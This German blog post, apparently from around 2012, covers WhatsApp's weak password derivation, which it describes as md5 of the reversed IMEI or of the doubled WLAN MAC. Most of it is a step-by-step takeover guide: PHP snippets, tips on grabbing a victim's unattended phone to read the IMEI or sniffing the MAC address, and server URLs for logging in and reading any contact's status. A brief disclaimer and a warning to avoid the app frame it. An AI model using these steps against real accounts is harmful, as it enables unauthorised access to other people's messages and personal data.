Wie sicher ist WhatsApp? “GAR NICHT!”

Hallo Leute,

sicher jeder von Euch, der auch ein Smartphone besitzt, nutzt WhatsApp. Klar, warum auch nicht? WhatsApp kostet nicht pro Nachricht, wie etwa eine SmS. Manch einer weiß gar nicht, dass über WhatsApp pro Tag über 1 Billionen Messages verschickt werden.

Noch weniger Leute allerdings wissen, dass Whatsapp ein GEWALTIGES SICHERHEITSPROBLEM hat. Manch einer denkt es geht jetzt darum, dass die Messages nicht verschlüsselt übertragen werden. Diese Lücke wurde von WhatsApp bereits behoben. Die Antwort auf die Frage WIE es behoben wurde ist dagegen lächerlich.



Verschlüsselung

Als im August 2012 bekannt wurde, dass WhatsApp die Nachrichten seiner Benutzer unverschlüsselt überträgt (wodurch JEDER empfangene und gesendete Nachrichten mitschneiden konnte) mussten die Entwickler von WhatsApp schnell handeln. Es wurde von WhatsApp versichert die Nachrichten in Zukunft zu verschlüsseln.

Doch diese Verschlüsselung wurde schnell geknackt!



Authentifizierung mit den WhatsApp-Servern

Die Client-Authentifizierung von WhatsApp ist ein riesen Disaster. Dabei ist es egal ob ein Android Client oder ein iPhone Client verwendet wird.

Bei Android Clients ist das Authentifizierungs-Passwort ein simpler Hash der umgedrehten IMEI:

$myImei = "112222223333334"; // Beispiels-IMEI

// die umgedrehten (strrev()) und mit einem MD5
// gezogenem Hash (md5()) IMEI ergibt unter Android das Passwort.
$androidWhatsAppPassword = md5(strrev($myImei));

Aber auch beim iPhone wird so leicht verschlüsselt:

$myWlanMAC = "AA:BB:CC:DD:EE:FF"; // Beispiels-WLAN-Mac-Adresse
$iphoneWhatsAppPassword = md5($myWlanMAC.$myWlanMAC); // ..doppelt genommen ergibt mit MD5 das Passwort



Der Benutzername ist in beiden Beispielen ganz einfach die Handynummer. An diese ranzukommen ist für keinen Hacker wirklich schwer. Ihr fragt Euch: “Wie soll der Angreifer denn an meine IMEI oder an meine MAC-Adresse kommen?”

Nun, die für die IMEI muss der Angreifer einmal an euer Handy dran. Falls ihr mal auf die Toilette geht und euer Handy liegen lasst ergibt schon die erste Chance. Das Handy des Opfers einmal in der Hand findet man die IMEI ganz einfach über die Eingabe von    *#06#    im Bedienfeld des Telefons heraus.

Die MAC-Adresse kann man mit bekannten Sniffer-Tools in max. 5 Minuten auslesen.

Mit diesen erhaltenen Daten habe ich nun alles was ich brauche um den WhatsApp Account eines anderen Nutzers zu übernehmen und alles mitzulesen. [BITTE BEACHTEN: Du darfst es NICHT durchführen - es ist VERBOTEN! Du darfst also keine WhatsApp-Accounts hacken. Dieser Beitrag ist nur zu Demonstrationszwecken gedacht!]



Es gibt echt klasse Leute, die das Prinzip des so genannten Reverse Engineering verstanden und auch praktiziert haben. Durch sie wurde uns ein OpenSource WhatsApp Client zur Verfügung gestellt, der auf https://github.com/venomous0x/WhatsAPI zum freien Download bereit steht (er ist in PHP geschrieben).

Du hast auf deinem Smartphone (noch) WhatsApp isntalliert? Unter folgendem Link kannst Du einen MD5 von Deiner IMEI oder Deiner MAC-Adresse erstellen lassen und erhälst somit Dein WhatsApp-Passwort: http://www.md5hashgenerator.com/index.php



Anleitung:

Android: IMEI herausfinden (*#06#) und in umgekehrter Reihenfolge in den Generator eingeben.

(Bsp.: IMEI: 012345678987654 —> umgekehrte Reihenfolge: 456789876543210)



iPhone: MAC-Adresse herausfinden (Einstellungen -> Allgemein -> Info -> WLAN-Adresse) und zwei Mal hintereinander (ohne Leerzeichen) in den Generator eingeben.

(Bsp.: MAC: AA:BB:CC:DD:EE:FF —> zwei Mal hintereinander: AA:BB:CC:DD:EE:FFAA:BB:CC:DD:EE:FF)



Abschließend auf Generate MD5 Hash klicken.

Den herausbekommenen MD5 Hash merken. Denn er ist Euer WhatsApp Passwort.



So mit dem gerade erhaltenen Passwort kannst Du nun folgenden Link mit Deinen Variablen aufrufen:

https://r.whatsapp.net/v1/exist.php?cc=$DeinCountryCode&in=$DeineHandynummer&udid=$DeinPasswort

Bei diesem Link musst Du die verschiedenen Variablen durch Deine Werte ersetzen:

  • $DeinCountryCode —> Ländervorwahl (in Deutschland bspw. “49”)
  • $DeineHandynummer —> Deine Handynummer ohne führende 0
  • $DeinPasswort —> Dein generiertes Passwort

Bsp.: https://r.whatsapp.net/v1/exist.php?cc=49&in=174XXXXXXXX&udid=80af2c6055aaXXXXXXXXXXXXXXXXXXX



Als Antwort solltest Du folgende XML-Antwort bekommen:

<?xml version=”1.0” encoding=”UTF-8”?>

<exist>

  <response status=”ok” result=”xxxxxxxxxxxx”/>

</exist>



Nun hast Du es geschafft. Du bist “drin”. Jetzt lassen sich zum Beispiel allerhand Daten auslesen.

Mit folgendem Link bekommen wir wieder ein XML Dokument zurück, in welchem wir den aktuellen WhatsApp-Status eines beliebigen Freundes (Handynummer bekannt vorrausgesetzt) auslesen können. ($freundX —> ist die Nummer Deines WhatsApp-Freundes):

https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$DeinCountryCode&me=$DeineHandynummer&u[]=$freundX

Dabei gilt wieder:

  • $DeinCountryCode —> Ländervorwahl  (in Deutschland bspw. “49”)
  • $DeineHandynummer —> Deine Handynummer ohne führende 0
  • $freundX —> Handynummer Deines WhatsApp-Freundes mit führender 0



Als Antwort könnte folgende XML-Antwort kommen:

<plist version=”1.0”>

  <array>

    <dict>

      <key>P</key>

      <string>+49151xxxxxxxx</string>

      <key>T</key>

      <integer>122301</integer>

      <key>S</key>

      <string>Schlafe</string>

      <key>JID</key>

      <string>0151xxxxxxxx</string>

    </dict>

  </array>

</plist>

Dabei gilt:

  • P —> Handynummer des Benutzers
  • T —> Uptime des Benutzers
  • S —> Die aktuelle Statusnachricht des Benutzers (im Bsp. meine)
  • JID —> Jabber-ID



Mit der bereits erwähnten WhatsAPI können zudem auch Nachrichten und mehr verschickt werden.





Doch was jetzt?

Wem Sicherheit wichtig ist und wer nicht möchte, dass jeder seine WhatsApp Nachrichten mitlesen kann, dem empfehle ich WhatsApp erstmal nicht zu verwenden. Stattdessen sollte man Übergangsweise auf den Facebook Messenger oder ähnliche Services ausweichen. Zumindest solange bis WhatsApp die Sicherheitslücken schließt und die Passwörter nicht so lächerlich verschlüsselt!



Liebe Grüße, Euer Dennis

2 Anmerkungen

  1. von dennisko gepostet
To Tumblr, Love Pixel Union
Blogverzeichnis - Blog Verzeichnis bloggerei.de